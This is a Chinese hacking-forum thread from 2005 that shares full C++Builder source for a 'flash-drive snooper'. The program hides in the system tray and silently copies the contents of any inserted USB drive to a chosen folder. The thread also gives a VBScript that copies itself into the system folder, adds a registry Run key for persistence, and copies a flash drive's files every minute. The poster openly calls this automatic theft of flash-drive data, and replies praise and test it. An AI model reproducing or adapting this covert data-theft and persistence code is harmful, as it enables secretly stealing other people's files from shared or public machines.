论坛: 编程破解 标题: 闪盘窥探者源码~(C++Builder写)和另一段相同效果的VBS! 复制本贴地址    
作者: yimarong [yimarong]    版主   登录
//---------------------------------------------------------------------------

#include <vcl.h>
//#include <winshell.h>
#pragma hdrstop

#include "Main.h"
#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma link "trayicon"
#pragma resource "*.dfm"

TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
    strSaveDrt=NULL; //保存文件的路径
    strMobileDriver=NULL;// 闪盘的盘符
    strFlieFrom=NULL; // 闪盘的盘符+"\\*.*"----得到完整的源路径
    strStoreMobileDriver=NULL;//闪盘的盘符暂存的空间 ,用来比较是否有新的闪盘出现
    strFileTo=GetCurrentDir();//初始保存文件的路径为当前目录
    bCopy=false; //注意初始值
    bShowMessage=false; //复制完成提示标志
    bCopyResult=false;//复制文件的返回值
    HideFlag=false;//隐藏到系统托盘的标志
    Timer1->Enabled=false;
   

}
//---------------------------------------------------------------------------
void __fastcall TForm1::BitBtn1Click(TObject *Sender)
{
  strFileTo=Edit1->Text+"\\Thief";
  if( strFileTo==NULL)
    ShowMessage("请输入有效路径");      //ShowMessage
  if(!DirectoryExists(strFileTo))
    CreateDir(strFileTo);
  //Timer1->Enabled!=(Timer1->Enabled);
  if(BitBtn1->Caption=="开始")
    {
      BitBtn1->Caption="停止";
      Timer1->Enabled =true;
      }
  else
  {
      BitBtn1->Caption="开始";
      Timer1->Enabled =false;
  }
}
//---------------------------------------------------------------------------
AnsiString __fastcall  TForm1::GetMobileDrive(void)
{
  AnsiString strDriver=NULL;
  DWORD ld = GetLogicalDrives();
  for (int i = 1; i < 26; i++)  //从1起判断就会忽略软驱A:,从0 判断就不忽略软驱A:
      {
      if ((ld & (1 << i)) != 0)
        {
        AnsiString drv = AnsiString(char('A' + i)) + ":";
        if (GetDriveType(drv.c_str()) == DRIVE_REMOVABLE)  //判断其是否为可移动设备
          strDriver=drv;

        }
      }
      return strDriver;
}
//------------------------------------------------------------------------------
bool __fastcall  TForm1::CopyFile(bool Hint ,bool CopyEnable,bool Result,AnsiString SourcePath,AnsiString DestinationPath)
{
  if(CopyEnable)
  {
    SHFILEOPSTRUCT FileOP; //SHFILEOPSTRUCT声明
    //SHFILEOPSTRUCT成员赋值
    FileOP.hwnd = Handle;
    FileOP.fFlags = FOF_SILENT;
    FileOP.wFunc = FO_COPY;
    FileOP.pFrom = SourcePath.c_str();
    FileOP.pTo = DestinationPath.c_str();
    FileOP.fAnyOperationsAborted = false; ////?????????????????????????????????
    FileOP.hNameMappings = NULL;
    FileOP.lpszProgressTitle = NULL;
    //SHFILEOPSTRUCT成员赋值结束
    int msg = SHFileOperation(&FileOP);//执行复制操作

      if(msg==0)
        {
          CopyEnable=false;
          Result=true;
          if(Hint)
            ShowMessage("复制完成");

        }
      else
        {
          Result=false;
          if(Hint)
            ShowMessage("复制失败!!!");
        }
  }
  return  Result;

}
//--------------------------------------------------------------------------------

void __fastcall TForm1::BitBtn2Click(TObject *Sender)
{
  Application->Terminate();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::BitBtn3Click(TObject *Sender)
{
  Form1->Hide();
  if(!HideFlag)
    TrayIcon1->Visible=true;
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
      strMobileDriver=GetMobileDrive();
    if((strMobileDriver!=NULL)&&(strStoreMobileDriver!=strMobileDriver)) //判断是否有新的闪盘盘符
          {
          bCopy=true;
          strFlieFrom=strMobileDriver+"\\*.*";
          }
      else
      {
        bCopy=false;
      }
      strStoreMobileDriver = strMobileDriver ;
      if ((CopyFile(bShowMessage,bCopy,bCopyResult,strFlieFrom, strFileTo))&&(CheckBox2->Checked)) //选择”复制完成自动结束“的判断
        Application->Terminate();



  }
//---------------------------------------------------------------------------


void __fastcall TForm1::BitBtn4Click(TObject *Sender)
{
// new TAboutBox *AboutBox;
  Form1->Hide();
  AboutBox->ShowModal();
 
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormShow(TObject *Sender)
{
   
    Edit1->Text=GetCurrentDir();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::CheckBox1Click(TObject *Sender)
{
    bShowMessage=!bShowMessage;
}
//---------------------------------------------------------------------------


void __fastcall TForm1::CheckBox3Click(TObject *Sender)
{
  HideFlag=CheckBox3->Checked;
}
//---------------------------------------------------------------------------

void __fastcall TForm1::TrayIcon1MouseDown(TObject *Sender,
      TMouseButton Button, TShiftState Shift, int X, int Y)
{
    if(Button==mbLeft)//系统托盘图标左肩响应
    {
    Form1->Show();
    TrayIcon1->Visible=false;
    }
}
//---------------------------------------------------------------------------

void __fastcall TForm1::N1Click(TObject *Sender)
{
  Form1->Show();
  TrayIcon1->Visible=false;   
}
//---------------------------------------------------------------------------

void __fastcall TForm1::N2Click(TObject *Sender)
{
  Application->Terminate();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::N3Click(TObject *Sender)
{
  AboutBox->Show();         
}
//---------------------------------------------------------------------------
/*LRESULT TForm1::OnHotKey(WPARAM wParam,LPARAM lParam)
{
    if (wParam==0xB4EE||wParam==0xB4EF)
      Form1->Show();    //////显示窗口
    return 0;
} */
//-----------------------------------------------------------------------------
/*void TForm1::OnRegister(void)
{
        HWND m_hWnd;
        GetWindow(m_hWnd,NULL);
        // TODO: Add your control notification handler code here
    ::RegisterHotKey(m_hWnd,0xB4EE,MOD_CONTROL|MOD_ALT,'w');
        ::RegisterHotKey(m_hWnd,0xB4EF,MOD_CONTROL|MOD_ALT,'W');
    //::RegisterHotKey(m_hWnd,0xB4EE,MOD_WIN,'F7');
} */
//------------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
  //unsigned long TrueWaveValueNum;
  //(RegisterHotKey(this->Handle,1000,MOD_CONTROL,VK_P)==0)
if (RegisterHotKey(this->Handle,1000,MOD_CONTROL ,VK_F1)==0) //注册热键
  {
        ShowMessage("注册热键失败");
  }
 
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
    try
    {
    UnregisterHotKey(this->Handle,1000);
    }
    catch(...)
    {
    }
}
//---------------------------------------------------------------------------
void __fastcall TForm1::OnHotKey(TMessage & Message) //热键处理函数
{
      // TForm::Dispatch(&Msg);
        if(Message.WParam ==1000)
        {
          Form1->Show();
          if(TrayIcon1->Visible==true)    //判断系统托盘里是否有本程序的图标,如果有在激活窗口时删除其
              TrayIcon1->Visible=false;
        }
}

#ifndef MainH
#define MainH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <Buttons.hpp>
#include <Dialogs.hpp>
#include <ExtCtrls.hpp>
#include <FileCtrl.hpp>
#include <Graphics.hpp>
#include "trayicon.h"
#include <Menus.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published:    // IDE-managed Components
        TGroupBox *GroupBox1;
        TEdit *Edit1;
        TBitBtn *BitBtn1;
        TBitBtn *BitBtn3;
        TBitBtn *BitBtn2;
        TGroupBox *GroupBox2;
        TCheckBox *CheckBox1;
        TGroupBox *GroupBox3;
        TBitBtn *BitBtn4;
        TCheckBox *CheckBox2;
        TCheckBox *CheckBox3;
        TTimer *Timer1;
        TTrayIcon *TrayIcon1;
        TPopupMenu *PopupMenu1;
        TMenuItem *N1;
        TMenuItem *N2;
        TMenuItem *N3;
        void __fastcall BitBtn1Click(TObject *Sender);
        void __fastcall BitBtn2Click(TObject *Sender);
        void __fastcall BitBtn3Click(TObject *Sender);
        void __fastcall Timer1Timer(TObject *Sender);
        void __fastcall BitBtn4Click(TObject *Sender);
        void __fastcall FormShow(TObject *Sender);
        void __fastcall CheckBox1Click(TObject *Sender);
        void __fastcall CheckBox3Click(TObject *Sender);
        void __fastcall TrayIcon1MouseDown(TObject *Sender,
          TMouseButton Button, TShiftState Shift, int X, int Y);
        void __fastcall N1Click(TObject *Sender);
        void __fastcall N2Click(TObject *Sender);
        void __fastcall N3Click(TObject *Sender);
        void __fastcall FormCreate(TObject *Sender);
        void __fastcall FormClose(TObject *Sender, TCloseAction &Action);
        //void __fastcall CheckBox2Click(TObject *Sender);
private:    // User declarations
        AnsiString strSaveDrt,strStoreMobileDriver;
        AnsiString strMobileDriver,strFlieFrom,strFileTo;
        bool bCopy,bShowMessage,bCopyResult,HideFlag;

protected:
        void __fastcall OnHotKey(TMessage &Message);  // 热键处理函数
        BEGIN_MESSAGE_MAP
            VCL_MESSAGE_HANDLER(WM_HOTKEY,TMessage,OnHotKey);
        END_MESSAGE_MAP(TForm);

public:        // User declarations
        __fastcall TForm1(TComponent* Owner);
        AnsiString __fastcall  GetMobileDrive(void);
        bool __fastcall  CopyFile(bool Hint,bool CopyEnable,bool Result,AnsiString SourcePath,AnsiString DestinationPath);

        //MESSAGE viod OnRegister(TWMMouse &Message);
        //BEGIN_MESSAGE_MAP
          // MESSAGE_HANDLE(WM_KEYDOWN,TWMMouse,OnRegister);
        ///END_MESSAGE_MAP(TForm);

};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif

该工具只要在本机运行,简单设置一下后,任何一个U盘插上机器后里面的内容都会被自动复制!(存放位置可以是本地或LAN内任何地方)
搞过来本事想改一下使其能支持移动硬盘的,但是水平太差……,大家有兴趣的话自己看看吧!

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

另有一段代码据说也可以达到相同的目的,且使用起来更简单:
on error resume next
set fso = CreateObject("Scripting.FileSystemObject")
dim n
set n = CreateObject("WScript.Shell")
set dir = fso.GetSpecialFolder(1)
fso.GetFile(WScript.ScriptFullName).Copy(dir&"\copy.vbs")
dim write
set write = CreateObject("WScript.Shell")
write.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs", "REG_SZ"
fso.CreateFolder("c:\windows\temp\")
for i=1 to 2
i = 1
fso.CopyFile "i:\*","c:\windows\temp\",True
fso.CopyFolder "i:\*","c:\windows\temp\",True
wscript.sleep 60000
next

存*.vbs如daoqu.vbs,在代码中“c:\windows\temp\”是指定的文件保存路径,可根据需要修改。“i:\*”用于指定闪存的盘符。

VBS脚本运行后,在资源管理器的进程列表中会显示一个名为“Wscript.exe”的进程。该进程会自动监视闪存,每隔一分钟对闪存中的文件进行一次复制,并保存在指定的位置。

  只要手动运行脚本一次,就可在注册表启动项中添加一个启动键值,每次开机时会自动运行刚才制作的脚本,实现闪存数据的自动盗取。

因为现在手上没有闪盘,而移动硬盘里面东西太多,不方便测试,具体结果下次补上!

地主 发表时间: 05-09-06 20:52

回复: TecZm [teczm]   版主   登录
好东西,转到俺那可以不


B1层 发表时间: 05-09-07 13:41

回复: yimarong [yimarong]   版主   登录
看来标题写错了,这段代码比窥探者更强,因为它可以无差别对待移动硬盘!

测试对象xp sp1/sp2 可指定任意一个盘符自动复制,可分别运行两个不同的指向的VBS,可以同时自动复

制两个盘符内容到指定位置! 且目标盘符剩余空间小于移动盘内容空间时,不会弹出空间不足提示,只

会自动结束复制!(应该只是一时停止,如果这时目标盘又有新的空间被腾出应该还会自动继续复制~因

为每隔一分钟,程序会被重新执行一次!)

B2层 发表时间: 05-09-07 14:07

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号